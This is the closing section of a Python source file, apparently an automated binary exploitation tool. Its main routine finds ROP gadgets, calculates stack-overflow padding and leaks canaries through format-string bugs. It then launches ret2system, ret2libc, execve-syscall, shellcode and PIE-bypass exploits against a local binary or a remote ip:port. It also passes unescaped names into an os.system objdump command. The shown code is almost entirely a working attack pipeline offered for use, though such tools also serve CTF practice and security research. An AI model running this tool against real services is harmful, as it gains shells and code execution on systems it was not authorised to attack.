3398 | print_section_header("FUNCTION ANALYSIS")
3399 |
3400 | # Analyze functions
3401 | print_info("scanning PLT functions")
3402 | function_addresses = scan_plt_functions(program)
3403 | function_flags = set_function_flags(function_addresses)
3404 |
3405 | # Set global function flags
3406 | for func, available in function_flags.items():
3407 | globals()[func] = available
3408 |
3409 | print_section_header("ROP GADGET DISCOVERY")
3410 |
3411 | # Find ROP gadgets based on architecture
3412 | if bit_arch == 64:
3413 | print_info("searching for x64 ROP gadgets")
3414 | pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers = find_rop_gadgets_x64(program)
3415 | else:
3416 | print_info("searching for x32 ROP gadgets")
3417 | (pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr,
3418 | ret_addr, int_0x80, eax, ebx, ecx, edx) = find_rop_gadgets_x32(program)
3419 |
3420 | print_section_header("PADDING CALCULATION")
3421 |
3422 | # Determine padding
3423 | if args.fill:
3424 | padding = args.fill
3425 | print_info(f"using manual padding: {Colors.YELLOW}{padding}{Colors.END} bytes")
3426 | else:
3427 | print_info("performing dynamic stack overflow testing")
3428 | padding = test_stack_overflow(program, bit_arch)
3429 | if padding != 0:
3430 | # Apply assembly-based padding adjustment
3431 | adjusted_padding = asm_stack_overflow(program, bit_arch)
3432 | if adjusted_padding:
3433 | padding = adjusted_padding
3434 | # Display vulnerable function information
3435 | results = vuln_func_name()
3436 | if results:
3437 | print_section_header("VULNERABLE FUNCTIONS IDENTIFIED")
3438 | for func_name in results:
3439 | print_success(f"vulnerable function: {Colors.RED}{func_name}{Colors.END}")
3440 | print_section_header("ASSEMBLY CODE ANALYSIS")
3441 | for func_name in results:
3442 | print_info(f"disassembling function: {Colors.YELLOW}{func_name}{Colors.END}")
3443 | os.system("objdump -d -M intel " + program + " --no-show-raw-insn | grep -A20 " + '"' + func_name + '"')
3444 | else:
3445 | # Try static analysis
3446 | static_padding = analyze_vulnerable_functions(program, bit_arch)
3447 | if static_padding:
3448 | padding = static_padding
3449 | print_success(f"static analysis found padding: {Colors.YELLOW}{padding}{Colors.END} bytes")
3450 |
3451 | print_section_header("STRING ANALYSIS")
3452 |
3453 | # Check for /bin/sh string
3454 | print_info("searching for /bin/sh string in binary")
3455 | bin_sh = check_binsh_string(program)
3456 |
3457 | # Handle canary protection (following pwnpasi_base.py logic)
3458 | if stack_protection == 1:
3459 | print_section_header("CANARY PROTECTION DETECTED")
3460 | print_warning("canary protection is enabled")
3461 | print_info("testing for format string vulnerability to bypass canary")
3462 | fmtstr = detect_format_string_vulnerability(program)
3463 | if fmtstr == 1:
3464 | print_success("format string vulnerability detected")
3465 | print_info("attempting to leak canary value")
3466 | leakage_canary_value(program)
3467 | padding, c, diff = canary_fuzz(program, bit_arch)
3468 | if padding == None and c == None and diff == None:
3469 | print_error("failed to leak canary value")
3470 | else:
3471 | print_success("canary value successfully leaked")
3472 | if args.ip and args.port:
3473 | print_section_header("REMOTE EXPLOITATION")
3474 | print_info(f"targeting remote service at {Colors.YELLOW}{args.ip}:{args.port}{Colors.END}")
3475 | if globals().get('system', 0) == 1 and bin_sh == 1:
3476 | if bit_arch == 32:
3477 | ret2_system_x32_canary_remote(program,libc,padding,args.ip,args.port,c,diff)
3478 | sys.exit(0)
3479 | if bit_arch == 64:
3480 | ret2_system_x64_canary_remote(program,libc,padding,pop_rdi_addr,other_rdi_registers,ret_addr,args.ip,args.port,c,diff)
3481 | sys.exit(0)
3482 |
3483 | if globals().get('puts', 0) == 1:
3484 | if bit_arch == 32:
3485 | ret2libc_put_x32_canary_remote(program,libc,padding,args.ip,args.port,c,diff)
3486 | sys.exit(0)
3487 | if bit_arch == 64:
3488 | ret2libc_put_x64_canary_remote(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,args.ip,args.port,c,diff)
3489 | sys.exit(0)
3490 |
3491 | if globals().get('write', 0) == 1:
3492 | if bit_arch == 32:
3493 | ret2libc_write_x32_canary_remote(program,libc,padding,args.ip,args.port,c,diff)
3494 | sys.exit(0)
3495 | if bit_arch == 64:
3496 | ret2libc_write_x64_canary_remote(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,args.ip,args.port,c,diff)
3497 | sys.exit(0)
3498 |
3499 | if bit_arch == 32:
3500 | if bin_sh == 1 and globals().get('eax', 0) == 1 and globals().get('ebx', 0) == 1 and globals().get('ecx', 0) == 1 and globals().get('edx', 0) == 1:
3501 | execve_syscall_canary_remote(program,padding,pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr , ret_addr, int_0x80,args.ip,args.port,c,diff)
3502 | sys.exit(0)
3503 | else:
3504 | print_section_header("LOCAL EXPLOITATION")
3505 | print_info("executing local binary exploitation")
3506 | if globals().get('system', 0) == 1 and bin_sh == 1:
3507 | if bit_arch == 32:
3508 | ret2_system_canary_x32(program,libc,padding,libc_path,c,diff)
3509 | sys.exit(0)
3510 | if bit_arch == 64:
3511 | ret2_system_canary_x64(program,libc,padding,pop_rdi_addr,other_rdi_registers,ret_addr,libc_path,c,diff)
3512 | sys.exit(0)
3513 |
3514 | if globals().get('puts', 0) == 1:
3515 | if bit_arch == 32:
3516 | ret2libc_put_canary_x32(program,libc,libc_path,padding,c,diff)
3517 | sys.exit(0)
3518 | if bit_arch == 64:
3519 | ret2libc_put_canary_x64(program,libc,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,libc_path,padding,c,diff)
3520 | sys.exit(0)
3521 |
3522 | if globals().get('write', 0) == 1:
3523 | if bit_arch == 32:
3524 | ret2libc_write_canary_x32(program,libc,padding,libc_path,c,diff)
3525 | sys.exit(0)
3526 | if bit_arch == 64:
3527 | ret2libc_write_canary_x64(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,libc_path,c,diff)
3528 | sys.exit(0)
3529 |
3530 | if bit_arch == 32:
3531 | if bin_sh == 1 and globals().get('eax', 0) == 1 and globals().get('ebx', 0) == 1 and globals().get('ecx', 0) == 1 and globals().get('edx', 0) == 1:
3532 | execve_canary_syscall(program,padding,pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr , ret_addr, int_0x80,c,diff)
3533 | sys.exit(0)
3534 |
3535 | sys.exit(0)
3536 | else:
3537 | print_error("no format string vulnerability found for canary bypass")
3538 | print_warning("canary protection cannot be bypassed with current methods")
3539 |
3540 | # Stack overflow detection (following pwnpasi_base.py logic)
3541 | if not args.fill:
3542 | #print_section_header("VULNERABILITY ANALYSIS")
3543 | #print_info("testing for stack overflow vulnerability")
3544 | padding = test_stack_overflow(program, bit_arch)
3545 | if padding != 0:
3546 | padding = asm_stack_overflow(program, bit_arch)
3547 | #print_success(f"stack overflow vulnerability detected with padding: {Colors.YELLOW}{padding}{Colors.END} bytes")
3548 | results = vuln_func_name()
3549 |
3550 | else:
3551 | print_warning("no stack overflow vulnerability detected through dynamic testing")
3552 |
3553 | print_section_header("EXPLOITATION PHASE")
3554 | print_info("initializing exploitation attempts")
3555 |
3556 | # Format string vulnerability handling when no stack overflow
3557 | if padding == 0:
3558 | print_section_header("FORMAT STRING VULNERABILITY ANALYSIS")
3559 | print_info("testing for format string vulnerability")
3560 | fmtstr = detect_format_string_vulnerability(program)
3561 | if check_binsh(program):
3562 | print_success('/bin/sh string found in binary')
3563 | bin_sh = 1
3564 | else:
3565 | print_warning('/bin/sh string not found in binary')
3566 | bin_sh = 0
3567 |
3568 | if args.ip and args.port:
3569 | print_section_header("REMOTE FORMAT STRING EXPLOITATION")
3570 | print_info(f"targeting remote service at {Colors.YELLOW}{args.ip}:{args.port}{Colors.END}")
3571 | if globals().get('system', 0) == 1 and bin_sh == 1:
3572 | print_info('attempting to leak program strings via format string')
3573 | fmtstr_print_strings_remote(program, args.ip, args.port)
3574 | try:
3575 | offset = find_offset(program)
3576 | log.info(f"Offset found: \033[31m{offset}\033[0m")
3577 | result = find_ftmstr_bss_symbols(program)
3578 | if len(result) == 3:
3579 | function, buf_addr, function_name = result
3580 | system_fmtstr_remote(program, offset, buf_addr, args.ip, args.port)
3581 | except ValueError:
3582 | print('[*]Offset not found, continuing with other exploitation methods')
3583 | sys.exit(0)
3584 | else:
3585 | print_warning('system function or /bin/sh not available, attempting string leak only')
3586 | fmtstr_print_strings_remote(program, args.ip, args.port)
3587 | sys.exit(0)
3588 |
3589 | else:
3590 | print_section_header("LOCAL FORMAT STRING EXPLOITATION")
3591 | print_info("executing local format string exploitation")
3592 | if globals().get('system', 0) == 1 and bin_sh == 1:
3593 | print_info('attempting to leak program strings via format string')
3594 | fmtstr_print_strings(program)
3595 | try:
3596 | offset = find_offset(program)
3597 | log.info(f"Offset found: \033[31m{offset}\033[0m")
3598 | result = find_ftmstr_bss_symbols(program)
3599 | if len(result) == 3:
3600 | function, buf_addr, function_name = result
3601 | system_fmtstr(program, offset, buf_addr)
3602 | except ValueError:
3603 | print('[*]Offset not found, continuing with other exploitation methods')
3604 | sys.exit(0)
3605 | else:
3606 | print_warning('system function or /bin/sh not available, attempting string leak only')
3607 | fmtstr_print_strings(program)
3608 | sys.exit(0)
3609 | else:
3610 | # Stack overflow exploitation (following pwnpasi_base.py logic)
3611 | if args.ip and args.port:
3612 | print_section_header("REMOTE STACK OVERFLOW EXPLOITATION")
3613 | print_info(f"targeting remote service at {Colors.YELLOW}{args.ip}:{args.port}{Colors.END}")
3614 | if pie_enabled == 1 and globals().get('backdoor', 0) == 1:
3615 | print_warning("PIE protection detected, but backdoor function available")
3616 | print_info("initiating PIE bypass via backdoor function brute force")
3617 | pie_backdoor_exploit_remote(program, padding, globals().get('backdoor', 0), libc_path, libc, args.ip, args.port, globals().get('callsystem', 0))
3618 | sys.exit(0)
3619 |
3620 | if globals().get('system', 0) == 1 and bin_sh == 1:
3621 | if bit_arch == 32:
3622 | ret2_system_x32_remote(program, libc, padding, args.ip, args.port)
3623 | sys.exit(0)
3624 | if bit_arch == 64:
3625 | ret2_system_x64_remote(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, args.ip, args.port)
3626 | sys.exit(0)
3627 |
3628 | if globals().get('write', 0) == 1:
3629 | if bit_arch == 32:
3630 | ret2libc_write_x32_remote(program, libc, padding, args.ip, args.port)
3631 | sys.exit(0)
3632 | if bit_arch == 64:
3633 | ret2libc_write_x64_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, args.ip, args.port)
3634 | sys.exit(0)
3635 |
3636 | if globals().get('puts', 0) == 1:
3637 | if bit_arch == 32:
3638 | ret2libc_put_x32_remote(program, libc, padding, args.ip, args.port)
3639 | sys.exit(0)
3640 | if bit_arch == 64:
3641 | ret2libc_put_x64_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, args.ip, args.port)
3642 | sys.exit(0)
3643 |
3644 | if rwx_segments == 1:
3645 | if bit_arch == 32:
3646 | function, buf_addr, function_name = find_large_bss_symbols(program)
3647 | if function == 1:
3648 | rwx_shellcode_x32_remote(program, buf_addr, padding, function_name, ret_addr, args.ip, args.port)
3649 | sys.exit(0)
3650 | if bit_arch == 64:
3651 | function, buf_addr, function_name = find_large_bss_symbols(program)
3652 | if function == 1:
3653 | rwx_shellcode_x64_remote(program, buf_addr, padding, function_name, ret_addr, args.ip, args.port)
3654 | sys.exit(0)
3655 |
3656 | if bit_arch == 32:
3657 | if bin_sh == 1 and globals().get('eax', 0) == 1 and globals().get('ebx', 0) == 1 and globals().get('ecx', 0) == 1 and globals().get('edx', 0) == 1:
3658 | execve_syscall_remote(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80, args.ip, args.port)
3659 | sys.exit(0)
3660 | else:
3661 | print_section_header("LOCAL STACK OVERFLOW EXPLOITATION")
3662 | print_info("executing local stack overflow exploitation")
3663 | if pie_enabled == 1 and globals().get('backdoor', 0) == 1:
3664 | print_warning("PIE protection detected, but backdoor function available")
3665 | print_info("initiating PIE bypass via backdoor function brute force")
3666 | pie_backdoor_exploit(program, padding, globals().get('backdoor', 0), libc_path, libc, globals().get('callsystem', 0))
3667 | sys.exit(0)
3668 |
3669 | if globals().get('system', 0) == 1 and bin_sh == 1:
3670 | if bit_arch == 32:
3671 | ret2_system_x32(program, libc, padding, libc_path)
3672 | sys.exit(0)
3673 | if bit_arch == 64:
3674 | ret2_system_x64(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, libc_path)
3675 | sys.exit(0)
3676 |
3677 | if globals().get('write', 0) == 1:
3678 | if bit_arch == 32:
3679 | ret2libc_write_x32(program, libc, padding, libc_path)
3680 | sys.exit(0)
3681 | if bit_arch == 64:
3682 | ret2libc_write_x64(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, libc_path)
3683 | sys.exit(0)
3684 |
3685 | if globals().get('puts', 0) == 1:
3686 | if bit_arch == 32:
3687 | ret2libc_put_x32(program, libc, padding, libc_path)
3688 | sys.exit(0)
3689 | if bit_arch == 64:
3690 | ret2libc_put_x64(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, libc_path)
3691 | sys.exit(0)
3692 |
3693 | if rwx_segments == 1:
3694 | if bit_arch == 32:
3695 | function, buf_addr, function_name = find_large_bss_symbols(program)
3696 | if function == 1:
3697 | rwx_shellcode_x32(program, buf_addr, padding, function_name, ret_addr)
3698 | sys.exit(0)
3699 | if bit_arch == 64:
3700 | function, buf_addr, function_name = find_large_bss_symbols(program)
3701 | if function == 1:
3702 | rwx_shellcode_x64(program, buf_addr, padding, function_name, ret_addr, libc_path)
3703 | sys.exit(0)
3704 |
3705 | if bit_arch == 32:
3706 | if bin_sh == 1 and globals().get('eax', 0) == 1 and globals().get('ebx', 0) == 1 and globals().get('ecx', 0) == 1 and globals().get('edx', 0) == 1:
3707 | execve_syscall(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80)
3708 | sys.exit(0)
3709 |
3710 | if __name__ == '__main__':
3711 | try:
3712 | main()
3713 | except KeyboardInterrupt:
3714 | print_error("\ninterrupted by user")
3715 | sys.exit(1)
3716 | except Exception as e:
3717 | print_critical(f"unexpected error: {e}")
3718 | sys.exit(1)
3719 |
3720 |
3721 |
--------------------------------------------------------------------------------